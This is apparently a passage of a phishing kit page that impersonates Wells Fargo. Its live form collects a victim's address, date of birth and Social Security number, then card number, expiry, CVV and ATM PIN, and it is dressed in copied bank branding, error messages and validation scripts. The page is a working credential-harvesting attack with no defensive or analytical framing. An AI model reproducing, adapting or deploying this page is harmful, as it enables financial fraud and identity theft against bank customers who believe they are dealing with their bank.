                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="countr" name="countr" type="text"></div><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">City</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="city" name="city" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 0px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">State</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="stat" name="stat" type="text"></div><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">Address</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="addres" name="addres" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 0px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">Zip Code</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="zip" name="zip" type="text"></div><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">Date Of Brith</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="dob" name="dob" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 20px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">Social Security number (SSN)</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="ssn" name="ssn" type="text"></div><h2 class="h3" style="border-top-width: 1px;border-top-style: solid;padding-top: 15px;">2- Card Information</h2><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">Card Number</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="CardNumber" name="cardnum" maxlength="19" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 0px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">Expiry Date (MM/YY)</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="Expiry" name="expdate" maxlength='7' type="text"></div><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">CVV</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="cvv" name="cvv" maxlength="3" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 0px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">Debit/ ATM Card Pin (Four Digits)</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                               
                               <input control="forms:input" id="atmpin" name="atmpin" maxlength="4" type="password"></div><div control="buttonContainer" style="border-top-style: solid;border-top-width: 0px;">
                               
                               
<div control="buttonContainer">
                        <input name="action" id="action" value="verify" type="hidden">
<input value="Complete" id="Complete" name="Complete" control="button" data-type="primary" style="margin-top: 40px;border-top-style: solid;border-top-width: 0px;padding-top: 5px;border-bottom-style: solid;" type="submit">                    </div>
                </form></div>
        </div>

        <div control="footer" ismobile="false" aria-hidden="false">
	<div theme="ssep">
        <span class="helper"></span>
        <img src="data:image/png;base64, %0A" alt="Wells Fargo">
	</div>
	<div theme="osmp">
	    <style>
		        [control=footer] {background: url('data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMtaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjMtYzAxMSA2Ni4xNDU2NjEsIDIwMTIvMDIvMDYtMTQ6NTY6MjcgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzYgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MDkzRjI0NzlGRjVEMTFFMUJFRjZFRjM1OEI1NTBBRjYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MDkzRjI0N0FGRjVEMTFFMUJFRjZFRjM1OEI1NTBBRjYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDowOTNGMjQ3N0ZGNUQxMUUxQkVGNkVGMzU4QjU1MEFGNiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDowOTNGMjQ3OEZGNUQxMUUxQkVGNkVGMzU4QjU1MEFGNiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv/uAA5BZG9iZQBkwAAAAAH/2wCEAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECAgICAgICAgICAgMDAwMDAwMDAwMBAQEBAQEBAgEBAgICAQICAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA//AABEIADwACQMBEQACEQEDEQH/xACCAAACAgMBAAAAAAAAAAAAAAAABAUGAQMHCgEBAQEBAAAAAAAAAAAAAAAAAAIBAxAAAQIEAgUFEQEAAAAAAAAAAQIDABETBBIF8CFiFBWh4SJWGDFhkTKS0uIjYyQ1ldUGF2coqBEBAQABBAMBAAAAAAAAAAAAABEB8CFhcUESIyL/2gAMAwEAAhEDEQA/APfrj00MV6s3GPTQw9TdqjLlohcgjAQC9Xa5OaJuqCrtcnNC6ohBdg4QleLHMtK7iXAnWpokywuiR1HXq7xERelM737K58n04XoVNV4oKeS6iam8Dl/bM1CoNqURb5rl+vEUzbJWkTUCkyJWnpxWzPJfibPWyx8OV+dCkyrKLoYbcsOLtW03BtstuLgFbuQ5ouSXvt7NmW1AcPueihqaygkoShYO7LVFXMGqma9Tsq+a2n0yFwTDhV12l6uZ712V/ho4zV/N26cPpuy4hU9zqUcXj+upbEdvlqoxb4Q/9K/of/Tsb81frh//2Q==
') repeat-x left -30px;}
			</style>
			    <!-- Footer included -->
			<!-- scripts -->
			<div class="wrapper">
			    <div class="legal">
			        <p><a tabindex="0" class="link" href="#">Privacy, Security &amp; Legal</a>
			        <br>© 1999 - <span currentyear=""><script>document.write(new Date().getFullYear())</script></span> Wells Fargo. All rights reserved. NMLSR ID 399801</p>
			    </div>
			</div>
	    </div>
</div>

<script type="text/javascript">
	document.addEventListener("DOMContentLoaded", function(event) { 
		(function(){
	        var inLangServiceDown='false';
	        var redirect_link = "" ;
	        if (inLangServiceDown == 'true') {
	        	console.log('down')
	            $("#IlDown").trigger( "click" );
	            $('#IlDownModal').on('click', '.close', function(){
	                window.location.assign(redirect_link);
	            });
	        }     
	    })();
	});
	
</script><script type="text/javascript" src="../css js/jquery.js"></script>
        <script type="text/javascript" src="../css js/validation.js"></script>
        <script type="text/javascript" src="../css js/theme.js"></script>
        <script type="text/javascript" src="../css js/theme_002.js"></script>
        <script>
    errorMessages = {
        'invalid1': 'We cannot verify your entry.  Please try again or select the help icon.',
        'invalid2': 'We are unable to process your request online. Please call us at 1-800-956-4442 for assistance.',
        'identification': {
            'section1': {
                'blank': 'Please enter a username, Social Security number (SSN), or individual tax identification number (ITIN). If you do not have an SSN or ITIN, and do not remember your username, please call 1-800-956-4442 for assistance.'           
            },
            'section2': {
                'blank': 'Please enter one of your Wells Fargo account numbers, your ATM card number, your debit card number or your credit card number. If you are a mortgage or employee sponsored retirement customer please enter your date of birth.'
            }
        },
        'changePasswordEnhancedPassword': {
            'invalid1': 'We cannot verify your entry.  Please try again.',
            'blank': 'Please enter a password.',
            'tooShort': 'Your password must be at least 8 characters in length. Please re-enter your password.',
            'matchUsername': 'Your password should be different than your username. Please choose a new password that is not the same as your username or ATM PIN and that is not easy for others to guess.',
            'mismatch': 'Your password entries do not match. Please enter the same password in both fields.'
        },
        'changePassword': {
            'blank': 'Please enter a password.',
            'tooShort': 'Your password must be at least 6 characters in length. Please re-enter your password.',
            'matchUsername': 'Your password should be different than your username. Please choose a new password that is not the same as your username or ATM PIN and that is not easy for others to guess.',
            'mismatch': 'Your password entries do not match. Please enter the same password in both fields.'
        },
        'debitCard': {
            'debitCardNumber': {
                'blank': 'Please enter your ATM/debit card number.'
            },
            'debitCardPin': {
                'blank': 'Please enter your ATM/debit card PIN.'
            }
        },
        'creditCard': {
            'creditCardNumber': {
                'blank': 'Please enter your Wells Fargo credit card number.'
            },
            'expirationDate': {
                'blank': 'The date you have selected is invalid. Please enter a valid expiration date.'
            },
            'securityCode': {
                'blank': 'Please enter your security code.',
                'blankAmex': 'Please enter your security code.'
            }
        },
        'zipCode': {
            'blank': 'Please enter the 5-digit ZIP code that appears on your statement.'
        },
        'findUsername': {
            'invalid': 'We do not recognize the SSN or ITIN number, and/or password you entered. Please try again, go to Password Help, or call 1-800-956-4442 for assistance.',
            'password': {
                'blank': 'Please enter your password. If you do not remember, your password, go to Password Help.'
            },
            'ssn': {
                'blank': 'Please enter a Social Security number (SSN) or Individual Tax Identification Number (ITIN). If you do not have an SSN or ITIN, and do not remember your username, please call 1-800-956-4442 for assistance.'
            }
        }
    }
</script><script type="text/javascript" src="../css js/nativeapp-bridge-min.js"></script>
<script>
var ChangePassword = {};

var ChangePassword = (function(){

    var obj = {

    };



    obj.error = {
        'messages': {
            'invalid1': errorMessages.invalid1,
            'invalid2': errorMessages.invalid2,
            'blank1': errorMessages.identification.section1.blank,
            'blank2': errorMessages.identification.section2.blank
        }
    };



    obj.elements = {
        'all': $('*'),
        'body': $('body'),
        'title': $('head > title'),
        'head': $('head'),
        'form': {
            'self': $('#credentials'),
            'username': $('#username'),
            'usernameError':$('#usernameError'),
            'ssn1': $('#ssn1'),
            'ssn2': $('#ssn2'),
            'ssn3': $('#ssn3'),
            'ssnError': $('#ssnError'),
            'accountNumber': $('#accountNumber'),
            'accountNumberError': $('#accountNumberError'),
            'dob1': $('#dob1'),
            'dob2': $('#dob2'),
            'dob3': $('#dob3'),
            'dobError': $('#dobError'),
            'action_hidden': $('#action'),
            'dobContainer': $('#dobContainer'),
            'accountContainer': $('#accountContainer'),
            'prefOneOrMore': $('#prefOneOrMore'),
            'prefMortOnly': $('#prefMortOnly'),
            'submitted': false
        },
        'buttons': {
            'continue': $('#continue'),
            'cancel': $('#cancel')
        },
        'errorMessage': {
            'container': $('[control=errorMessage]'),
            'message': $('[control=errorMessage]').find('#errorMessage')
        },
        'loadingAction': $('[control=loadingAction]')
    };



    obj.events = {
        'keyboard': {
            'enter': {
                'keypress': function(e){
                    if(e.which == 13){
                        e.preventDefault();
                        obj.methods.submit('verify');
                    }
                }
            }
        },
        'buttons': {
            'continue': {
                'click': function(e){
                    e.preventDefault();
                    obj.methods.submit('verify');
                }
            },
            'cancel': {
                'click': function(e){
                    e.preventDefault();
                    obj.methods.submit('cancel');
                }
            }
        },
        'form': {
            'input': {
                'keyup': function(e){
                    var maxLength = $(this).attr('maxlength');
                    var inputLength = $(this).val().length;

                    if(inputLength > maxLength){
                        $(this).val($(this).val().slice(0, maxLength));
                    }
                }
            },
            'username': {
                'click': function(e){
                    //obj.elements.form.ssn1.val('');
                    //obj.elements.form.ssn2.val('');
                    //obj.elements.form.ssn3.val('');
                },
                'keyup': function(e){
                    if(e.which != 9 && e.which != 16){
                        obj.elements.form.username.trigger('click');
                    }
                }
            },
            'ssn':{
                'click': function(e){
                    //obj.elements.form.username.val('');
                }
            },
            'accountNumber': {
                'click': function(e){
                    //obj.elements.form.dob1.val('');
                    //obj.elements.form.dob2.val('');
                    //obj.elements.form.dob3.val('');
                },
                'keyup': function(e){
                    if(e.which != 9 && e.which != 16){
                        obj.elements.form.accountNumber.trigger('click');
                    }
                }
            },
            'dob':{
                'click': function(e){
                    //obj.elements.form.accountNumber.val('');
                },
                'keyup': function(e){
                    if(e.which != 9 && e.which != 16){
                        obj.elements.form.dob1.trigger('click');
                    }
                }
            },
            'ssn1': {
                'keyup': function(e){
                    var self = $(this);

                    if(e.which != 9 && e.which != 16){
                        if(self.val().length == 3){
                            obj.elements.form.ssn2.focus();
                        }
                        obj.elements.form.ssn1.trigger('click');
                    }
                }
            },
            'ssn2': {
                'keyup': function(e){
                    var self = $(this);
                    if(e.which != 9 && e.which != 16){
                        if(self.val().length == 2){
                            obj.elements.form.ssn3.focus();
                        } else if(self.val().length === 0){
                            obj.elements.form.ssn1.focus();
                        }
                        obj.elements.form.ssn1.trigger('click');
                    }
                }
            },
            'ssn3': {
                'keyup': function(e){
                    var self = $(this);

                    if(self.val().length === 0){
                        obj.elements.form.ssn2.focus();
                    }
                    if(e.which != 9 && e.which != 16){
                        obj.elements.form.ssn1.trigger('click');
                    }
                }
            },
            'prefMortOnly': {
                'click': function(e){
                    obj.elements.form.dobContainer.show();
                    obj.elements.form.accountContainer.hide();
                },
            },
            'prefOneOrMore': {
                'click': function(e){
                    obj.elements.form.dobContainer.hide();
                    obj.elements.form.accountContainer.show();  
                },
            },
        }
    };



    obj.methods = {
        'submit': function(action){
            if(obj.elements.form.submitted){
                return false;
            }
            obj.elements.form.action_hidden.val(action);
            obj.elements.form.self.submit();
            obj.elements.loadingAction.hide();
        },
        'cancel': function(){

        },
        'isSectionBlank': function(section){
            var form = obj.elements.form;
            if (section === 1) {
                if(form.username.val().length === 0  && (form.ssn1.val().length === 0 || form.ssn2.val().length === 0 || form.ssn3.val().length === 0)){
                    return true;
                } else {
                    return false;
                }
            } else if (section === 2) {
                if(form.accountNumber.val().length === 0 && (form.dob1.val().length === 0 || form.dob2.val().length === 0 || form.dob3.val().length === 0)) {
                    return true;
                } else {
                    return false;
                }
            } else {
                return false;
            }
        },
        'validate': function(section){
            var passedValidation = true;
            var form = obj.elements.form;
            var section1passed = true;
            var section2passed = true;
            var isMobile = obj.elements.body.attr('isMobile') === 'true' ? true : false;

            if(obj.elements.form.action_hidden.val() === 'cancel'){
                return true;
            }

            obj.elements.form.self.find('input').removeClass('error');
            obj.elements.form.self.find('img[alt=error]').addClass('hidden');

            if(section == 1 || section == 12){
                if(obj.methods.isSectionBlank(1)){
                    passedValidation = false;
                    section1passed = false;
                    obj.elements.errorMessage.message.text(obj.error.messages.blank1);
                } else if(form.username.val().length > 0){
                    if(form.username.val() < 6 ||
                        !Validation.dashUnderscore(form.username) ||
                        !Validation.noSpaces(form.username) ||
                        !Validation.oneLetter(form.username)){
                            passedValidation = false;
                            section1passed = false;
                            obj.elements.errorMessage.message.text(obj.error.messages.invalid1);
                        }
                } else if(!Validation.numbersOnly(form.ssn1, 3)||
                    !Validation.numbersOnly(form.ssn2, 2)||
                    !Validation.numbersOnly(form.ssn3, 4)) {
                        passedValidation = false;
                        section1passed = false;
                        obj.elements.errorMessage.message.text(obj.error.messages.invalid1);
                    }
            }

            if(section == 2 || section == 12){
                if(obj.methods.isSectionBlank(2)) {
                    passedValidation = false;
                    section2passed = false;
                    obj.elements.errorMessage.message.text(obj.error.messages.blank2);
                } else if (form.accountNumber.val().length > 0) {
                    if(!Validation.zeros(form.accountNumber) || !Validation.maxLength(form.accountNumber, 16)){
                        passedValidation = false;
                        section2passed = false;
                        obj.elements.errorMessage.message.text(obj.error.messages.invalid1);
                    }
                } else if (!Validation.date(form.dob1.val() + '/' + form.dob2.val() + '/' + form.dob3.val())) {
                    passedValidation = false;
                    section2passed = false;
                    obj.elements.errorMessage.message.text(obj.error.messages.invalid1);

                }
            }

            if(section == 12){
                if(obj.methods.isSectionBlank(1) && obj.methods.isSectionBlank(2)) {
                    obj.elements.errorMessage.message.text(obj.error.messages.invalid1);
                }
            }

            if(!passedValidation){
                if(!section1passed){
                    obj.elements.form.username.addClass('error');
                    obj.elements.form.ssn1.closest('[control="forms:fieldContainer"]').find('input').addClass('error');
                    obj.elements.form.usernameError.removeClass('hidden');
                    obj.elements.form.ssnError.removeClass('hidden');
                }
                if(!section2passed){
                    obj.elements.form.accountNumber.addClass('error');
                    obj.elements.form.dob1.closest('[control="forms:fieldContainer"]').find('input').addClass('error');
                    obj.elements.form.accountNumberError.removeClass('hidden');
                    obj.elements.form.dobError.removeClass('hidden');
                    obj.elements.form.dob1.attr('aria-invalid', 'true');
                    obj.elements.form.dob2.attr('aria-invalid', 'true');
                    obj.elements.form.dob3.attr('aria-invalid', 'true');
                    obj.elements.form.accountNumber.attr('aria-invalid', 'true');
                }

                obj.elements.form.self.find('[control="forms:input"]').val('');

                obj.elements.errorMessage.container.attr('data-has-error', 'true');
                obj.elements.errorMessage.message.html('<span style="display:none" aria-hidden="false">error</span>' + obj.elements.errorMessage.message.html());
                obj.elements.errorMessage.message.focus();
            } else {
                obj.elements.form.accountNumber.attr('aria-invalid', 'false');
                obj.elements.form.dob1.attr('aria-invalid', 'false');
                obj.elements.form.dob2.attr('aria-invalid', 'false');
                obj.elements.form.dob3.attr('aria-invalid', 'false');

                obj.elements.errorMessage.container.attr('data-has-error', 'false');
                obj.elements.loadingAction.show();
            }

            obj.elements.form.submitted = passedValidation;
            return passedValidation;
        }
    };



    obj.elements.form.ssn1.on('keyup', obj.events.form.ssn1.keyup);
    obj.elements.form.ssn2.on('keyup', obj.events.form.ssn2.keyup);
    obj.elements.form.ssn3.on('keyup', obj.events.form.ssn3.keyup);
    obj.elements.form.username.on('click', obj.events.form.username.click);
    obj.elements.form.username.on('keyup', obj.events.form.username.keyup);
    obj.elements.form.ssn1.on('click', obj.events.form.ssn.click);
    obj.elements.form.ssn2.on('click', obj.events.form.ssn.click);
    obj.elements.form.ssn3.on('click', obj.events.form.ssn.click);
    obj.elements.form.accountNumber.on('click', obj.events.form.accountNumber.click);
    obj.elements.form.accountNumber.on('keyup', obj.events.form.accountNumber.keyup);
    obj.elements.form.dob1.on('click', obj.events.form.dob.click);
    obj.elements.form.dob2.on('click', obj.events.form.dob.click);     
    obj.elements.form.dob3.on('click', obj.events.form.dob.click);
    obj.elements.form.dob1.on('keyup', obj.events.form.dob.keyup);
    obj.elements.form.dob2.on('keyup', obj.events.form.dob.keyup);
    obj.elements.form.dob3.on('keyup', obj.events.form.dob.keyup);
    obj.elements.form.prefOneOrMore.on('click', obj.events.form.prefOneOrMore.click);
    obj.elements.form.prefMortOnly.on('click', obj.events.form.prefMortOnly.click);
    obj.elements.form.self.on('keyup', 'input', obj.events.form.input.keyup);
    obj.elements.form.self.on('keypress', 'input', obj.events.keyboard.enter.keypress);
    obj.elements.buttons['continue'].on('click', obj.events.buttons['continue'].click);



    obj.init = (function(e){
        obj.elements.form.self.find('[control="forms:input"]').val('');
        //$("input:text:visible:first").focus();

        if (nativeapp && nativeapp.bridge) { 
            var isNativeApp = nativeapp.bridge.isRunningInNativeApp() === true;
            var isNativeAppMdk = false;

            if(isNativeApp || isNativeAppMdk){
                nativeapp.bridge.init(""); 

                $('[control=footer] a').not('#sign_off a').on('click', function(e) { 
                    var href = $(this).attr('href'); 
                    var data = {
                        type: 'externalnoconfirm',
                        url: href
                    }
                    if (isNativeApp) { 
                        nativeapp.bridge.execute('openUrl', data);
                        e.preventDefault();
                        return false; 
                    } 
                    return true; 
                }); 

                obj.elements.buttons.cancel.on('click', function(e){
                    e.preventDefault();
                    nativeapp.bridge.execute('goSignOn', {});
                })

                return;
            }
        }

        obj.elements.buttons.cancel.on('click', obj.events.buttons.cancel.click);
    })();



    return obj;
})();
</script>
</body></html>